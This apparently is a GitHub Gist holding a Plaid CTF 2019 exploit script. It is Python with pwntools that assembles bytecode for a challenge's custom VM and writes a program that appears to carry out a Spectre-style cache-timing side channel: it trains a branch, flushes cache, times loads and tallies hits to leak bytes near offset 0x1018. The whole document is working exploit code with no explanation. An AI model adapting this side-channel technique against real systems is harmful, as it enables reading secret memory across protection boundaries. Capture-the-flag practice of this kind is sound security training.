Created
April 21, 2019 15:59
-
-
Save seanwupi/8a84f2b9964c1ed0bbce66b68993e8cc to your computer and use it in GitHub Desktop.
Plaid CTF 2019 Wirteups
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from pwn import * | |
import re | |
context.arch = "amd64" | |
register = {"r8":0,"r9":1,"r10":2,"r11":3,"r12":4,"r13":5,"r14":6,"r15":0x7} | |
idx = 0 | |
def epilogue(): | |
# pop r15_r14_r13_r12_r11_r10_r9_r8_rbp_rdi_rsi_ret | |
return "\x00" | |
def cdq(dst,src): | |
# movsxd dst,src | |
global idx | |
idx += 2 | |
return "\x01" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def add(dst,src): | |
# add dst,src | |
global idx | |
idx += 2 | |
return "\x02" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def sub(dst,src): | |
# sub dst,src | |
global idx | |
idx +=2 | |
return "\x03" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def eand(dst,src): | |
# and dst,src | |
global idx | |
idx +=2 | |
return "\x04" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def shl(dst,src): | |
# mov cl,src | |
# shl dst,cl | |
global idx | |
idx +=2 | |
return "\x05" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def shr(dst,src): | |
# mov cl,src | |
# shr dst,cl | |
global idx | |
idx +=2 | |
return "\x06" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def move(dst,src): | |
# mov dst,src | |
global idx | |
idx +=2 | |
return "\x07" + p8( (register[src] << 3)| register[dst] |0xc0 ) | |
def movec(reg,const): | |
# mov reg,const | |
global idx | |
idx +=6 | |
return "\x08" + p8(register[reg]) + p32(const) | |
def load(idxreg,dst): | |
#mov eax,idx | |
#mov dst,QWORD PTR [rdi+rax*1] | |
global idx | |
idx +=2 | |
return "\x09" + p8(register[dst] | ( register[idxreg] << 3)) | |
def store(idxreg,src): | |
#mov eax,idx | |
#mov QWORD PTR [rdi+rax*1],src | |
global idx | |
idx += 2 | |
return "\x0a" + p8(register[idxreg] | ( register[src] << 3)) | |
def builtin(types,ret_reg): | |
# push rdi,rsi,r8,r9,r10,r11 | |
# mov edi,r8d | |
# mov esi,r9d | |
# mov edx,r10d | |
# mov ecx,r11d | |
# call qword ptr [rbp+8] | |
# pop r11,r10,r9,r8,rsi,rdi | |
# mov dst,rax // data | |
# type 0 == bulid_bc | |
# type 1 == bulid_time | |
global idx | |
idx += 2 | |
return "\x0b" + p8(( (types << 3) | register[ret_reg] )) | |
def loop(cmp_val,blockidx,cmp_reg): | |
# mov rax, cmp_val | |
# cmp cmp_reg,rax | |
# jle ... | |
global idx | |
idx += 10 | |
return "\x0c" + p8((register[cmp_reg]<<3)) + p32(cmp_val) + p32(blockidx) | |
def rdtscp(): | |
# movsxd dst,src | |
global idx | |
idx += 2 | |
return "\x01\x00" | |
def asmvm(code): | |
global idx | |
out = '' | |
labels = dict() | |
idx = 0 | |
for l in code.split('\n'): | |
if len(l.strip()) == 0: | |
continue | |
c = re.split(' |, ', l.strip()) | |
op = c[0] | |
if op[-1] == ':': | |
labels[op[:-1]] = idx | |
elif op == 'cdq': | |
out += cdq(c[1], c[2]) | |
elif op == 'add': | |
out += add(c[1], c[2]) | |
elif op == 'sub': | |
out += sub(c[1], c[2]) | |
elif op == 'and': | |
out += eand(c[1], c[2]) | |
elif op == 'shl': | |
out += shl(c[1], c[2]) | |
elif op == 'shr': | |
out += shr(c[1], c[2]) | |
elif op == 'move': | |
out += move(c[1], c[2]) | |
elif op == 'movec': | |
out += movec(c[1], int(c[2],0)) | |
elif op == 'load': | |
out += load(c[2], c[1]) | |
elif op == 'store': | |
out += store(c[1], c[2]) | |
elif op == 'builtin': | |
out += builtin(int(c[2],0), c[1]) | |
elif op == 'loop': | |
out += loop(int(c[2],0), labels[c[3]], c[1]) | |
elif op == 'epilogue': | |
out += epilogue() | |
elif op == 'rdtscp': | |
out += rdtscp() | |
else: | |
print l | |
assert False | |
return out | |
code = ''' | |
movec r15, 4 | |
movec r13, 0xFFFFFFFF | |
movec r14, 0x1000 | |
FILL: | |
store r14, r13 | |
add r14, r15 | |
loop r14, 0x1FFFFF0, FILL | |
movec r12, 0 | |
MAIN_LOOP: | |
movec r13, 1 | |
TRAINING: | |
movec r15, 4 | |
movec r14, 0x1800000 | |
FLUSH: | |
load r11, r14 | |
builtin r11, 1 | |
add r14, r15 | |
loop r14, 0x1FFFFF0, FLUSH | |
move r11, r13 | |
movec r15, 7 | |
and r11, r15 | |
movec r15, 1 | |
sub r11, r15 | |
movec r15, 0xFFFF0000 | |
and r11, r15 | |
move r10, r11 | |
movec r15, 16 | |
shr r10, r15 | |
add r11, r10 | |
move r10, r11 | |
movec r15, 32 | |
shl r10, r15 | |
add r11, r10 | |
move r14, r13 | |
movec r15, 15 | |
and r14, r15 | |
movec r8, 0x{dump_offset:x} | |
sub r8, r14 | |
and r8, r11 | |
add r8, r14 | |
movec r15, 9 | |
builtin r10, 0 | |
add r10, r15 | |
shl r10, r15 | |
load r11, r10 | |
movec r15, 1 | |
add r13, r15 | |
loop r13, 40, TRAINING | |
movec r13, 0 | |
TIMING: | |
move r10, r13 | |
movec r15, 4 | |
shl r10, r15 | |
add r10, r13 | |
movec r15, 0xFF | |
and r10, r15 | |
move r11, r10 | |
movec r15, 9 | |
add r10, r15 | |
shl r10, r15 | |
builtin r8, 1 | |
load r9, r10 | |
builtin r9, 1 | |
sub r9, r8 | |
movec r15, 100 | |
sub r9, r15 | |
movec r15, 63 | |
shr r9, r15 | |
movec r15, 3 | |
shl r11, r15 | |
load r10, r11 | |
add r9, r10 | |
store r11, r9 | |
movec r15, 1 | |
add r13, r15 | |
loop r13, 255, TIMING | |
movec r15, 1 | |
add r12, r15 | |
loop r12, 3, MAIN_LOOP | |
epilogue | |
''' | |
dump_offset = 0x1018 # 0x1018 ~ 0x1026 | |
code = asmvm(code.format(dump_offset=dump_offset)) | |
size = len(code) | |
f = open('bc', 'wb') | |
f.write(p64(size)) | |
f.write(code) | |
f.close() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment